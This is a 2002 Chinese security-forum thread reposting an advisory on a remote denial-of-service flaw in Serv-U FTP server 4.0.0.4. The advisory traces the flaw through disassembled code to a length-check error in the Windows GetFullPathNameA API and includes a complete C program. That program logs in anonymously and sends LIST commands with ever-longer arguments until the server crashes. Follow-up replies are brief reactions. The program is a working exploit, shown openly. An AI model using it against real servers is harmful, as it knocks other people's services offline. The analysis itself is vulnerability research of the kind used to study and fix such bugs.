>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  Serv-U远程拒绝服务漏洞以及原因分析
发表文章 发表涂鸦
  回复数:4  点击数:192 将此页发给您的朋友        
作者 主题: Serv-U远程拒绝服务漏洞以及原因分析 回复 | 收藏 | 打印 | 篇末
★帅の蟑螂帅哥哦
级别:管理员
威望:0
经验:20
货币:4114
体力:100
来源:127.0.0.1
总发帖数:3059
注册日期:2001-04-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

Serv-U远程拒绝服务漏洞以及原因分析

原创:isno(isno)
来源:www.xfocus.org

serv-u ftp server远程拒绝服务漏洞以及原因分析

涉及程序版本:
serv-u ftp server v4.0.0.4(以前版本也可能存在该漏洞,没有测试过)

漏洞类型:
远程拒绝服务

漏洞描述:
前几天使用了一下rhinosoft出品的serv-u ftp,感觉还不错,简单
测试了一下其安全性,发现当用匿名用户登陆后,发送list nnnn...命令,
后跟的字符数量达到253字节时,服务端报错,并且错误对话框无法关闭,
只能重启serv-u ftp服务才行。
由于是由长字符串造成的,我一开始还认为是溢出之类的漏洞。后来
经过深入分析程序汇编代码,发现这不是一般的溢出,甚至可以说不是
serv-u的本身程序的问题,而是一个win32 api的设计上的bug。
getfullpathnamea这个api用来获取指定文件的路径,但是它在处理
长文件名时没有考虑好边界条件,造成可能访问到不存在的内存地址,
在serv-u的例子里就造成了拒绝服务攻击。本来一般像这种访问不存在
内存的漏洞,程序的异常处理都可以回恢复过来的,不至于造成程序崩溃,
但是正是由于这个问题是由系统dll出错而造成的,而不是应用程序本身
的问题,所以应用程序的异常处理例程无法正确处理该问题,从而导致了
服务端程序崩掉。
不仅仅是list命令受该漏洞影响,所有后跟参数是文件名的命令都有
这个问题,例如mdtm等等。另外触发这个漏洞的串长度是根据ftp根目录的
设置不同而定的,我写了个程序来测试该漏洞,程序见后面。
由于这个漏洞无法用来得到权限,所以也懒得报告到bugtraq上去了,
不过分析漏洞的过程还是让我有点收获,起码知道了编程中哪些地方是程
序员容易忽视而造成安全漏洞的地方,微软的程序员也一样犯这样的错误。

程序分析:

下面是通过对该程序的反汇编代码的分析来结束造成该漏洞的原因。
由于反汇编出的代码有几十m之大,分析的时候难免出错,敬请各位发现
问题的同志指出。
serv-u在接受到list nnn...命令后对文件名进行处理,会进入下面
这一段程序:
* referenced by a call at addresses:
|:005a4a8f , :005a4c97
|
:005a338c 55 push ebp
:005a338d 8bec mov ebp, esp
:005a338f 83c4f8 add esp, fffffff8
:005a3392 53 push ebx
:005a3393 56 push esi
:005a3394 57 push edi
:005a3395 8b7d08 mov edi, dword ptr [ebp+08]
:005a3398 6804010000 push 00000104
:005a339d e802f9feff call 00592ca4
:005a33a2 59 pop ecx
:005a33a3 8bd8 mov ebx, eax
:005a33a5 85c0 test eax, eax
:005a33a7 7507 jne 005a33b0
:005a33a9 33c0 xor eax, eax
:005a33ab e9a9000000 jmp 005a3459

* referenced by a (u)nconditional or (c)onditional jump at address:
|:005a33a7(c)
|
:005a33b0 8d55fc lea edx, dword ptr [ebp-04]
:005a33b3 52 push edx
:005a33b4 53 push ebx
:005a33b5 6804010000 push 00000104
:005a33ba 8b4d0c mov ecx, dword ptr [ebp+0c]
:005a33bd 51 push ecx ;这里是ftp跟目录加上list参数

* reference to: kernel32.getfullpathnamea, ord:0000h
|
:005a33be e89f630100 call 005b9762 ;调用getfullpathnamea

;-------------------------------------------------------------------------------------------
;调用到kernel32.dll里的getfullpathnamea函数
exported fn(): getfullpathnamea - ord:012ah
:77e80dbd 55 push ebp
:77e80dbe 8bec mov ebp, esp
:77e80dc0 83ec24 sub esp, 00000024
:77e80dc3 53 push ebx
:77e80dc4 56 push esi
:77e80dc5 8b7514 mov esi, dword ptr [ebp+14]
:77e80dc8 33db xor ebx, ebx
:77e80dca f7de neg esi
:77e80dcc 57 push edi
:77e80dcd 8d45fc lea eax, dword ptr [ebp-04]
:77e80dd0 ff7508 push [ebp+08]
:77e80dd3 895df8 mov dword ptr [ebp-08], ebx
:77e80dd6 1bf6 sbb esi, esi
:77e80dd8 23f0 and esi, eax
:77e80dda 8d45ec lea eax, dword ptr [ebp-14]
:77e80ddd 50 push eax
:77e80dde e81e89feff call 77e69701
:77e80de3 85c0 test eax, eax
:77e80de5 0f84039c0000 je 77e8a9ee
:77e80deb 64a118000000 mov eax, dword ptr fs:[00000018]
:77e80df1 8b4030 mov eax, dword ptr [eax+30]
:77e80df4 bf0a020000 mov edi, 0000020a ;长度限制,不正确!!!
;这里0x20a是分配的堆的大小,同时也作为后边判断rtlgetfullpathname_u
;返回长度的比较长度的限制
:77e80df9 57 push edi
:77e80dfa ff35b0f7eb77 push dword ptr [77ebf7b0]
:77e80e00 ff7018 push [eax+18]
;分配0x20a字节的内存堆
* reference to: ntdll.rtlallocateheap, ord:014ah
|
:77e80e03 ff150410e677 call dword ptr [77e61004]
:77e80e09 3bc3 cmp eax, ebx
:77e80e0b 8945f4 mov dword ptr [ebp-0c], eax
:77e80e0e 0f84c69b0000 je 77e8a9da
:77e80e14 56 push esi
:77e80e15 50 push eax
:77e80e16 6808020000 push 00000208
:77e80e1b ff75f0 push [ebp-10]
;rtlgetfullpathname_u用来得到路径的unicode字符串,这个函数是由长度限制的,
;当长度大于0x208的时候无法正确得到路径,即无法正确拷贝串到ebp-0c中。
* reference to: ntdll.rtlgetfullpathname_u, ord:01e7h
|
:77e80e1e ff15ac10e677 call dword ptr [77e610ac]
:77e80e24 3bc7 cmp eax, edi ;这个判断不对,应该跳到错误处理去!
;但是由于前面的限制是0x20a,所以当用0x20a长的字符串时就会判断出错,
;不会进入错误处理去,而是继续对没有得到内容的堆内存进行后面的操作,
;这就是出错的根源
:77e80e26 894508 mov dword ptr [ebp+08], eax
:77e80e29 0f87cc9b0000 ja 77e8a9fb

* reference to: ntdll.rtlunicodetomultibytesize, ord:0294h
|
:77e80e2f 8b356010e677 mov esi, dword ptr [77e61060]
:77e80e35 50 push eax
:77e80e36 ff75f4 push [ebp-0c]
:77e80e39 8d4508 lea eax, dword ptr [ebp+08]
:77e80e3c 50 push eax
:77e80e3d ffd6 call esi ;call rtlunicodetomultibytesize
:77e80e3f 3bc3 cmp eax, ebx
:77e80e41 0f8cae9b0000 jl 77e8a9f5
:77e80e47 395d08 cmp dword ptr [ebp+08], ebx
:77e80e4a 0f8491000000 je 77e80ee1
:77e80e50 395d14 cmp dword ptr [ebp+14], ebx
:77e80e53 7420 je 77e80e75
:77e80e55 8b45fc mov eax, dword ptr [ebp-04]
:77e80e58 3bc3 cmp eax, ebx
:77e80e5a 7419 je 77e80e75
:77e80e5c 2b45f4 sub eax, dword ptr [ebp-0c]
:77e80e5f d1f8 sar eax, 1
:77e80e61 d1e0 shl eax, 1
:77e80e63 50 push eax
:77e80e64 8d45f8 lea eax, dword ptr [ebp-08]
:77e80e67 ff75f4 push [ebp-0c]
:77e80e6a 50 push eax
:77e80e6b ffd6 call esi ;call rtlunicodetomultibytesize----出错!!!
;第2次调用rtlunicodetomultibytesize的时候会把上面的错误显现出来
:77e80e6d 3bc3 cmp eax, ebx
:77e80e6f 0f8c809b0000 jl 77e8a9f5

;-------------------------------------------------------------------------------------------

最后一个call esi调用这里
exported fn(): rtlunicodetomultibytesize - ord:0296h
:77f83ea4 8b44240c mov eax, dword ptr [esp+0c]
:77f83ea8 56 push esi
:77f83ea9 33f6 xor esi, esi
:77f83eab d1e8 shr eax, 1
:77f83ead 803d14f3fc7700 cmp byte ptr [77fcf314], 00
:77f83eb4 0f8598d30100 jne 77fa1252 ;会转到77fa1252去执行
:77f83eba 8b4c2408 mov ecx, dword ptr [esp+08]
:77f83ebe 8901 mov dword ptr [ecx], eax
:77f83ec0 33c0 xor eax, eax
:77f83ec2 5e pop esi
:77f83ec3 c20c00 ret 000c

;-------------------------------------------------------------------------------------------

跳到这里
* referenced by a (u)nconditional or (c)onditional jump at address:
|:77f83eb4(c)
|
:77fa1252 8bc8 mov ecx, eax
:77fa1254 48 dec eax
:77fa1255 85c9 test ecx, ecx
:77fa1257 7424 je 77fa127d
:77fa1259 8b4c240c mov ecx, dword ptr [esp+0c]
:77fa125d 57 push edi
:77fa125e 8d7801 lea edi, dword ptr [eax+01]

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa127a(c)
|
:77fa1261 0fb701 movzx eax, word ptr [ecx]
;这里会有个循环不断的取ecx的值,也就是前边rtlallocateheap分配的那个堆,
;因为前面那个堆里没有正确存放内容,所以会造成不跳出循环,从而一直取到
;内存页面不存在的地方,即0x00152000(也可能是别的值,由堆地址所定)。

:77fa1264 8b155404fd77 mov edx, dword ptr [77fd0454]
:77fa126a 41 inc ecx
:77fa126b 41 inc ecx
:77fa126c 668b0442 mov ax, word ptr [edx+2*eax]
:77fa1270 33d2 xor edx, edx
:77fa1272 8ad4 mov dl, ah
:77fa1274 84d2 test dl, dl
:77fa1276 7510 jne 77fa1288
:77fa1278 46 inc esi

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa128a(u)
|
:77fa1279 4f dec edi
:77fa127a 75e5 jne 77fa1261
:77fa127c 5f pop edi

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa1257(c)
|
:77fa127d 8b442408 mov eax, dword ptr [esp+08]
:77fa1281 8930 mov dword ptr [eax], esi
:77fa1283 e9382cfeff jmp 77f83ec0

* referenced by a (u)nconditional or (c)onditional jump at address:
|:77fa1276(c)
|
:77fa1288 46 inc esi
:77fa1289 46 inc esi
:77fa128a ebed jmp 77fa1279

漏洞测试程序:

/*
serv-u ftp server 4.0 remote dos
by isno(isno@xfocus.org)
*/
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")

void main(int argc, char *argv[])
{
//anonymous ftp user and passwd
char user[] = "user ftp\r\n";
char pass[] = "pass bug@rhinosoft.com\r\n";
char buff[1024];
int s, i;
struct hostent *ht;
struct sockaddr_in sin;
wsadata wsadata;

if(argc != 2)
{
printf("usage: %s host\r\n",argv[0]);
exit(0);
}
if(wsastartup (makeword(1,1), &wsadata) != 0)
{
printf("wsastartup failed.\n");
wsacleanup();
exit(1);
}
if((ht = gethostbyname(argv[1])) == 0)
{
printf("cannot resolve %s\n",argv[1]);
exit(1);
}
sin.sin_port = htons(21);
sin.sin_family = af_inet;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
if((s = socket(af_inet, sock_stream, 0)) == -1)
{
printf("cannot setup socket\r\n");
exit(1);
}
if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)
{
printf("cannot connect\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("cannot recv\r\n");
exit(1);
}
printf("%s\r\n",buff);
printf("%s\r\n",user);
memset(buff,0,sizeof(buff));
if(send(s, user, strlen(user), 0) == -1)
{
printf("cannot send\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("cannot recv\r\n");
exit(1);
}
printf("%s\r\n",buff);
printf("%s\r\n",pass);
memset(buff,0,sizeof(buff));
if(send(s, pass, strlen(pass), 0) == -1)
{
printf("cannot send\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("cannot recv\r\n");
exit(1);
}
printf("%s\r\n",buff);

//try long para from 200 to 300 bytes
for(i=200;i<300;i++)
{
printf("send list nnn...(%d bytes)\r\n",i);
memset(buff,0,sizeof(buff));
memcpy(buff,"list ",5);
memset(buff+5,0x4e,i);
memcpy(buff+5+i,"\r\n",2);
if(send(s, buff, strlen(buff), 0) == -1)
{
printf("cannot send\r\n");
exit(1);
}
memset(buff,0,sizeof(buff));
if(recv(s, buff, 200, 0) == -1)
{
printf("0verflow!\r\n");
return;
}
}
closesocket(s);
printf("target is not vuln\r\n");
return;
}
----------------------------------------------------------
为了明天奢侈糜烂的生活而奋斗

编辑 删除 发表时间发表于 2002-04-11.20:45:27   MSIE 6.0 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:15
货币:99939
体力:100
来源:不知道
总发帖数:2601
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

这个我也看了好难:(
----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-04-11.23:11:31   MSIE 5.01 Windows 2000IP: 已记录
傲气雄鹰帅哥哦
级别:本论坛版主
威望:0
经验:15
货币:3335
体力:100
来源:云南昆明
总发帖数:1559
注册日期:2002-01-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

哎!我看不懂!
----------------------------------------------------------
本论坛不欢迎如下类型的帖子,此类帖子会被关闭或删除,本人恕不回复。
一,刀光雪影完全无关
二,无内容或内容过于简单,标题无意义的
三,个人联系的帖子。和标题为“某某请进”之类的
四,要求代破密码的
五,同一帖子多次重复的,灌水的
六,政治敏感话题,语言不文明,攻击他人的
七,溯雪手册中已有详细介绍或前面帖子中已有大量回复的

编辑 删除 发表时间发表于 2002-04-11.23:15:11   MSIE 5.01 Windows 2000IP: 已记录
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

发现这不是一般的溢出,甚至可以说不是
serv-u的本身程序的问题,而是一个win32 api的设计上的bug。


高手!
----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-04-11.23:46:13   MSIE 6.0 Windows 2000IP: 已记录
无情剑侠帅哥哦
级别:一般站友
威望:0
经验:0
货币:205
体力:34.5
来源:61.186.22.*
总发帖数:21
注册日期:2002-04-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

头大

编辑 删除 发表时间发表于 2002-04-12.11:26:53   MSIE 5.5 Windows MeIP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题